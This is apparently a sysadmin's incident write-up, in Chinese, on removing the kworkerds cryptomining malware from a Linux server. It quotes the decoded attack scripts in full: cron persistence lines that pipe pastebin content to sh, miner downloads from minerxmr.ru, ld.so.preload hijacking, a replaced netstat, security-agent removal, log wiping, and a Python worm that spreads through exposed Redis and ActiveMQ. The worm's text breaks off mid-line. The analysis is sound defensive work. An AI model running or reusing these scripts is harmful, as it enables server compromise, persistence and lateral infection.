kworkerds病毒处理记录 此记录是处理完病毒两天后记录的,可能会与当时处理过程有出入。
发现病毒 午饭过后登陆服务器,系统提示:“There were 386 failed login attempts since the last successful login.”心里突然咯噔一下,上午这台服务器加了公网ip,没有做防火墙限制,有人在破解服务器密码,赶紧把sshd配置改一下,将sshd端口绑定在内网ip上,但是发现任何操作都很慢,top命令看一下load average 200+,我的天呐,密码已经被破解了?这是什么情况,先看一下占用最高的进程,一堆的kworkerds和zigw进程大概有10多个,并且还有好多,find / -name *.js命令,突然有种不好的预感,不管了先把进程杀死,负载先降下来在说。
1 2 3 # pkill -9 kworkerds# pkill -9 zigw# pkill -9 find
处理病毒 进程杀死后负载下来了,但是发现又有kworkerds服务启动了,先找找启动的源头,先想到的是计划任务
查看计划任务
1 2 3 4 # crontab -l.... ... 一堆乱码,当时未截图
果然有问题,先把计划任务的内容删除了吧
1 2 # echo "" >/var/spool/cron/root-bash: /var/spool/cron/root: Permission denied
权限被拒绝,我可是root用户啊,lsattr在看一下
1 2 # lsattr /var/spool/cron/root----ia---------- /var/spool/cron/root
果然被改了,我们改回来,然后在删除
1 # chattr -ai /var/spool/cron/root && echo > /var/spool/cron/root
恩,这回成功了,在杀死病毒进程,在观察一下。
1 2 # pkill -9 kworkerds# pkill -9 zigw
修改服务器配置
先把sshd的配置改一下,将sshd_config的ListenAddress改成内网的ip
1 2 3 # grep ListenAddress /etc/ssh/sshd_configListenAddress 10.10.1.10 # systemctl restart sshd
将防火墙对外只开放80和443端口1 2 3 4 5 6 // 对内网开放指定端口,并指定允许的源ip段,注意sshd一定要先开放,不然登陆不了就哭去吧 // 这里的内容根据需求自行设置哈 # iptables -A INPUT -p tcp -s 源ip/子网 --dport 这里写端口号 -j ACCEPT # iptables -A INPUT --dport 22 -j ACCEPT // 拒绝 # iptables -A INPUT -j DROP
病毒复发 改完配置后在top看一下,我了个去,kworkerds进程又出来了,什么情况,在看一下计划任务,WTF,怎么又出来了!1 2 # crontab -l* * * * * curl -fsSL https://pastebin.com/raw/sF3gViaw || wget -q -O- https://pastebin.com/raw/sF3gViaw)|base64 -d
详细分析
先解决程序会自动启动的问题
既然他的程序kworkerds会通过各种方式自动重启,并且我已经知道了他的文件是放在/tmp/kworkerds,那么我先删除这个程序,然后touch一个空文件,然后修改权限,在将chattr命令移走
1 2 3 4 # rm -f /tmp/kworkerds# touch /tmp/kworkerds# chattr +ai /mtp/kworkerds# mv $(which chattr) ~/
好了,你这样在嚣张也没办法启动了吧,除非。。。启动程序每次都换目录or改名字
分析脚本
访问一下url先看看他的脚本内容吧,脚本内容是base64加密的,解密内容如下,我已经大概注释了一下每个函数的作用:
PS: 以下脚本请千万不要在线上服务器中执行!!!
脚本一:https://pastebin.com/raw/sF3gViaw
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 # !/bin/bashSHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # 看起来像是清除其它病毒的函数function b() { pkill -f sourplum pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius rm -rf /tmp/*index_bak* rm -rf /tmp/*httpd.conf* rm -rf /tmp/*httpd.conf rm -rf /tmp/a7b104c270 pkill -f biosetjenkins pkill -f AnXqV.yam pkill -f xmrigDaemon pkill -f xmrigMiner pkill -f xmrig pkill -f Loopback pkill -f apaceha pkill -f cryptonight pkill -f stratum pkill -f mixnerdx pkill -f performedl pkill -f JnKihGjn pkill -f irqba2anc1 pkill -f irqba5xnc1 pkill -f irqbnc1 pkill -f ir29xc1 pkill -f conns pkill -f irqbalance pkill -f crypto-pool pkill -f minexmr pkill -f XJnRj pkill -f NXLAi pkill -f BI5zj pkill -f askdljlqw pkill -f minerd pkill -f minergate pkill -f Guard.sh pkill -f ysaydh pkill -f bonns pkill -f donns pkill -f kxjd pkill -f Duck.sh pkill -f bonn.sh pkill -f conn.sh pkill -f kworker34 pkill -f kw.sh pkill -f pro.sh pkill -f polkitd pkill -f acpid pkill -f icb5o pkill -f nopxi pkill -f irqbalanc1 pkill -f minerd pkill -f i586 pkill -f gddr pkill -f mstxmr pkill -f ddg.2011 pkill -f wnTKYg pkill -f deamon pkill -f disk_genius pkill -f sourplum pkill -f bashx pkill -f bashg pkill -f bashe pkill -f bashf pkill -f bashh pkill -f XbashY pkill -f libapache pkill -f qW3xT.2 pkill -f /usr/bin/.sshd pkill -f sustes pkill -f Xbash rm -rf /var/tmp/j* rm -rf /tmp/j* rm -rf /var/tmp/java rm -rf /tmp/java rm -rf /var/tmp/java2 rm -rf /tmp/java2 rm -rf /var/tmp/java* rm -rf /tmp/java* rm -rf /tmp/httpd.conf rm -rf /tmp/conn rm -rf /tmp/.uninstall* /tmp/.python* /tmp/.tables* /tmp/.mas rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache chattr -i /tmp/kworkerds /var/tmp/kworkerds /var/tmp/config.json /tmp/.systemd-private-* rm -rf /tmp/kworkerds /var/tmp/kworkerds /var/tmp/config.json /tmp/.systemd-private-* .systemd-private-* chattr -i /usr/lib/libiacpkmn.so.3 && rm -rf /usr/lib/libiacpkmn.so.3 chattr -i /etc/init.d/nfstruncate && rm -rf /etc/init.d/nfstruncate chattr -i /bin/nfstruncate && rm -rf /bin/nfstruncate rm -rf /etc/rc*.d/S01nfstruncate /etc/rc.d/rc*.d/S01nfstruncate chattr -i /bin/ddus-uidgen /etc/init.d/acpidtd /etc/rc.d/rc*.d/S01acpidtd /etc/rc*.d/S01acpidtd /etc/ld.sc.conf rm -rf /bin/ddus-uidgen /etc/init.d/acpidtd /etc/rc.d/rc*.d/S01acpidtd /etc/rc*.d/S01acpidtd /etc/ld.sc.conf mkdir -p /opt/yilu/work/xig /opt/yilu/work/xige /usr/bin/bsd-port touch /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty chmod -x /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty chattr +i /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty ps auxf|grep -v grep|grep -v "\_" |grep -v "kthreadd" |grep "\[.*\]"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "Xbash" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "cranbery" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "stratum" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "minerd" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "watchdogs" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9 ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep /tmp/thisxxs|awk '{print $2}'|xargs kill ps auxf|grep -v grep|grep /opt/yilu/work/xig/xig|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep /opt/yilu/mservice|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|rep /usr/bin/bsd-port/getty | awk '{print $2}'|xargs kill -9 ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9 netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 p=$(ps auxf|grep -v grep|grep kworkerds|wc -l) if [ ${p} -eq 0 ];then netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9 fi } # 下载挖矿的配置及程序function d() { ARCH=$(uname -i) if [ "$ARCH" == "x86_64" ]; then (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/1 -o /tmp/kworkerds||wget https://master.minerxmr.ru/One/1 -O /tmp/kworkerds) && chmod +x /tmp/kworkerds nohup /tmp/kworkerds >/dev/null 2>&1 & else mkdir -p /var/tmp chmod 1777 /var/tmp (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/c -o /var/tmp/config.json||wget https://master.minerxmr.ru/One/c -O /var/tmp/config.json) && chmod +x /var/tmp/config.json (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/x1 -o /var/tmp/kworkerds||wget https://master.minerxmr.ru/One/x1 -O /var/tmp/kworkerds) && chmod +x /var/tmp/kworkerds nohup /var/tmp/kworkerds >/dev/null 2>&1 & fi } # 这里是python的一个脚本,大概意思就是通过redis感染局域网内的其它主机,所以redis,修改默认端口,加密码(不要用弱密码)是很重要的!,后边详细分析一下这个脚本function e() { nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2hRWlRGQWRDJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 & touch /tmp/.38t9guft0055d0565u444gtjr0 } # 这里是最主要的,程序为啥总是自动启动,都在这个函数里!function c() { chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload (curl -fsSL --connect-timeout 120 https://pastebin.com/raw/CnPtQ2tM -o /usr/local/bin/dns||wget https://pastebin.com/raw/CnPtQ2tM -O /usr/local/bin/dns) && chmod 755 /usr/local/bin/dns && touch -acmr /bin/sh /usr/local/bin/dns && chattr +i /usr/local/bin/dns echo -e "SHELL=/bin/sh\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\nMAILTO=root\nHOME=/\n# run-parts\n01 * * * * root run-parts /etc/cron.hourly\n02 4 * * * root run-parts /etc/cron.daily\n0 1 * * * root /usr/local/bin/dns" > /etc/crontab && touch -acmr /bin/sh /etc/crontab echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/root && touch -acmr /bin/sh /etc/cron.d/root && chattr +i /etc/cron.d/root echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/apache && touch -acmr /bin/sh /etc/cron.d/apache && chattr +i /etc/cron.d/apache echo -e "*/23 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/root && touch -acmr /bin/sh /var/spool/cron/root && chattr +i /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo -e "*/31 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/crontabs/root && touch -acmr /bin/sh /var/spool/cron/crontabs/root && chattr +i /var/spool/cron/crontabs/root mkdir -p /etc/cron.hourly (curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.hourly/oanacroner||wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.hourly/oanacroner) && chmod 755 /etc/cron.hourly/oanacroner mkdir -p /etc/cron.daily (curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.daily/oanacroner||wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.daily/oanacroner) && chmod 755 /etc/cron.daily/oanacroner mkdir -p /etc/cron.monthly (curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.monthly/oanacroner||wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.monthly/oanacroner) && chmod 755 /etc/cron.monthly/oanacroner mkdir -p /usr/local/lib/ if [ ! -f "/usr/local/lib/libntpd.so" ]; then ARCH=$(uname -i) if [ "$ARCH" == "x86_64" ]; then (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/2 -o /usr/local/lib/libntpd.so||wget https://master.minerxmr.ru/One/2 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so elif [ "$ARCH" == "i386" ]; then (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/22 -o /usr/local/lib/libntpd.so||wget https://master.minerxmr.ru/One/22 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so else (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/22 -o /usr/local/lib/libntpd.so||wget https://master.minerxmr.ru/One/22 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so fi fi chattr -i /etc/ld.so.preload && echo /usr/local/lib/libntpd.so > /etc/ld.so.preload && touch -acmr /bin/sh /etc/ld.so.preload if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh' & done fi touch -acmr /bin/sh /etc/cron.hourly/oanacroner touch -acmr /bin/sh /etc/cron.daily/oanacroner touch -acmr /bin/sh /etc/cron.monthly/oanacroner } # 阿里安全骑士卸载函数function a() { if ps aux | grep -i '[a]liyun'; then wget http://update.aegis.aliyun.com/download/uninstall.sh chmod +x uninstall.sh ./uninstall.sh wget http://update.aegis.aliyun.com/download/quartz_uninstall.sh chmod +x quartz_uninstall.sh ./quartz_uninstall.sh rm -f uninstall.sh quartz_uninstall.sh pkill aliyun-service rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service rm -rf /usr/local/aegis*; elif ps aux | grep -i '[y]unjing'; then /usr/local/qcloud/stargate/admin/uninstall.sh /usr/local/qcloud/YunJing/uninst.sh /usr/local/qcloud/monitor/barad/admin/uninstall.sh fi touch /tmp/.a } # 上边是所有的函数说明,下边开始执行了mkdir -p /tmp chmod 1777 /tmp # 检查a函数有没有执行,没有执行则执行a函数,a函数主要是卸载阿里云的安全卫士的if [ ! -f "/tmp/.a" ]; then a fi # 执行b,c函数 b函数即清除其它病毒,c函数是设置自己程序的各种启动方式!还先帮忙查杀一下,哈哈b c # 这里应该是检查一下自己服务有没有建立链接,没有则执行d函数,d函数主要是下载他的程序及配置了port=$(netstat -an | grep :56415 | wc -l) if [ ${port} -eq 0 ];then d fi # 执行函数e并感染主机内的其它redis服务器if [ ! -f "/tmp/.38t9guft0055d0565u444gtjr0" ]; then e fi # 下面主要都是清除他的痕迹了,登陆日志,系统邮件,计划任务日志,每次执行都清空,让你查日志都查不到!!!# 清除系统发出的邮件echo 0>/var/spool/mail/root # 记录用户的登陆次数和持续时长echo 0>/var/log/wtmp # 用户登陆行为日志echo 0>/var/log/secure # 计划任务的日志echo 0>/var/log/cron
脚本二:https://pastebin.com/raw/1NtRkBc3 , https://pastebin.com/raw/LSsjnTkm
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 # !/bin/bashSHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin function b() { ARCH=$(uname -i) if [ "$ARCH" == "x86_64" ]; then (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/Pep/1 -o /tmp/kworkerds||wget https://master.minerxmr.ru/Pep/1 -O /tmp/kworkerds) && chmod +x /tmp/kworkerds nohup /tmp/kworkerds >/dev/null 2>&1 & else mkdir -p /var/tmp chmod 1777 /var/tmp (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/Pep/c -o /var/tmp/config.json||wget https://master.minerxmr.ru/Pep/c -O /var/tmp/config.json) && chmod +x /var/tmp/config.json (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/Pep/x1 -o /var/tmp/kworkerds||wget https://master.minerxmr.ru/Pep/x1 -O /var/tmp/kworkerds) && chmod +x /var/tmp/kworkerds nohup /var/tmp/kworkerds >/dev/null 2>&1 & fi } # 计划任务,上一个脚本是所有的计划任务,这个更难发现,把netstat命令都给改了!还加了netdns的启动项。。。不看脚本是真难查绝啊。function a() { chattr -i /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /usr/sbin/netdns /etc/init.d/netdns echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/root && touch -acmr /bin/sh /etc/cron.d/root && chattr +i /etc/cron.d/root echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/apache && touch -acmr /bin/sh /etc/cron.d/apache && chattr +i /etc/cron.d/apache echo -e "*/23 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/root && touch -acmr /bin/sh /var/spool/cron/root && chattr +i /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo -e "*/31 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/crontabs/root && touch -acmr /bin/sh /var/spool/cron/crontabs/root && chattr +i /var/spool/cron/crontabs/root mkdir -p /etc/cron.hourly (curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.hourly/oanacroner||wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.hourly/oanacroner) && chmod 755 /etc/cron.hourly/oanacroner mkdir -p /etc/cron.daily (curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.daily/oanacroner||wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.daily/oanacroner) && chmod 755 /etc/cron.daily/oanacroner mkdir -p /etc/cron.monthly (curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.monthly/oanacroner||wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.monthly/oanacroner) && chmod 755 /etc/cron.monthly/oanacroner (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/Pep/3 -o /usr/sbin/netdns||wget https://master.minerxmr.ru/Pep/3 -O /usr/sbin/netdns) && chmod 777 /usr/sbin/netdns && touch -acmr /bin/sh /usr/sbin/netdns && chattr +i /usr/sbin/netdns (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/Pep/4 -o /etc/init.d/netdns||wget https://master.minerxmr.ru/Pep/4 -O /etc/init.d/netdns) && chmod 777 /etc/init.d/netdns && touch -acmr /bin/sh /etc/init.d/netdns && chattr +i /etc/init.d/netdns chkconfig --add netdns chattr -i /bin/netstat rm -rf /bin/netstat ARCH=$(uname -i) if [ "$ARCH" == "x86_64" ]; then (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/Pep/n64 -o /bin/netstat||wget https://master.minerxmr.ru/Pep/n64 -O /bin/netstat) && chmod +x /bin/netstat && touch -acmr /bin/sh /bin/netstat && chattr +i /bin/netstat elif [ "$ARCH" == "i386" ]; then (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/Pep/n32 -o /bin/netstat||wget https://master.minerxmr.ru/Pep/n32 -O /bin/netstat) && chmod +x /bin/netstat && touch -acmr /bin/sh /bin/netstat && chattr +i /bin/netstat else (curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/Pep/n32 -o /bin/netstat||wget https://master.minerxmr.ru/Pep/n32 -O /bin/netstat) && chmod +x /bin/netstat && touch -acmr /bin/sh /bin/netstat && chattr +i /bin/netstat fi touch -acmr /bin/sh /etc/cron.d/system touch -acmr /bin/sh /etc/cron.hourly/oanacroner touch -acmr /bin/sh /etc/cron.daily/oanacroner touch -acmr /bin/sh /etc/cron.monthly/oanacroner } a port=$(netstat -an | grep :56415 | wc -l) if [ ${port} -eq 0 ];then b fi #
看过以上两个脚本之后以下目录及文件都需要清除,注意备份文件,命令可以从其它机器拷贝过来替换
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 # 文件/bin/netstat /etc/cron.daily/oanacroner /etc/cron.d/apache /etc/cron.d/root /etc/cron.d/system /etc/cron.hourly/oanacroner /etc/cron.monthly/oanacroner /etc/init.d/netdns /etc/ld.so.preload /tmp/kworkerds /usr/local/bin/dns /usr/sbin/netdns /var/spool/cron/crontabs/root /var/spool/cron/root /var/tmp/config.json /usr/local/lib/libntpd.so # 目录/opt/yilu /usr/bin/bsd-port /var/tmp
感染局域网内其它主机
上一步中提到了一个python的脚本,这个病毒如何感染的其它主机,就需要看一下这个python的脚本了
PS: Python 初学者对python不是很熟悉有错误请指正哈
先上pythono的函数1 2 3 4 function e() { nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2hRWlRGQWRDJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 & touch /tmp/.38t9guft0055d0565u444gtjr0 }
依旧是个base64位的加密,我们解密一下,看一下真正的内容吧!脚本内有注释说明传染的方式。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 import threadingimport socketfrom re import findallimport httplibimport osIP_LIST = [] class scanner (threading.Thread) : tlist = [] maxthreads = 100 evnt = threading.Event() lck = threading.Lock() def __init__ (self,host) : threading.Thread.__init__(self) self.host = host def run (self) : try : s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(2 ) s.connect_ex((self.host, 8161 )) s.send('google spider\r\n' ) results = s.recv(1 ) if str(results): data = "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" data2 = "*/15 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" conn = httplib.HTTPConnection(self.host, port=8161 , timeout=2 ) conn.request(method='PUT' , url='/fileserver/go.txt' , body=data) conn.request(method='PUT' , url='/fileserver/goa.txt' , body=data2) conn.request(method='PUT' , url='/fileserver/gob.txt' , body=data2) result = conn.getresponse() conn.close() if result.status == 204 : headers = {'Destination' : 'file:///etc/cron.d/root' } headers2 = {'Destination' : 'file:///var/spool/cron/root' } headers3 = {'Destination' : 'file:///var/spool/cron/crontabs/root' } conn = httplib.HTTPConnection(self.host, port=8161 , timeout=2 ) conn.request(method='MOVE' , url='/fileserver/go.txt' , headers=headers) conn.request(method='MOVE' , url='/fileserver/goa.txt' , headers=headers2) conn.request(method='MOVE' , url='/fileserver/gob.txt' , headers=headers3) conn.close() s.close() except Exception: pass try : s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2.settimeout(2 ) x = s2.connect_ex((self.host, 6379 )) if x == 0 : s2.send('config set stop-writes-on-bgsave-error no\r\n' ) s2.send('flushall\r\n' ) s2.send('config set dbfilename root\r\n' ) s2.send('set SwE3SC "\\t\\n*/10 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\\n\\t"\r\n' ) s2.send('set NysX7D "\\t\\n*/15 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\\n\\t"\r\n' ) s2.send('config set dir /etc/cron.d\r\n' ) s2.send('save\r\n' ) s2.send('config set dir /var/spool/cron\r\n' ) s2.send('save\r\n' ) s2.send('config set dir /var/spool/cron/crontabs\r\n' ) s2.send('save\r\n' ) s2.send('flushall\r\n' ) s2.send('config set stop-writes-on-bgsave-error yes\r\n' ) s2.close() except Exception: pass scanner.lck.acquire() scanner.tlist.remove(self) if len(scanner.tlist) < scanner.maxthreads: scanner.evnt.set() scanner.evnt.clear() scanner.lck.release() def newthread (host) : scanner.lck.acquire() sc = scanner(host) scanner.tlist.append(sc) scanner.lck.release() sc.start() newthread = 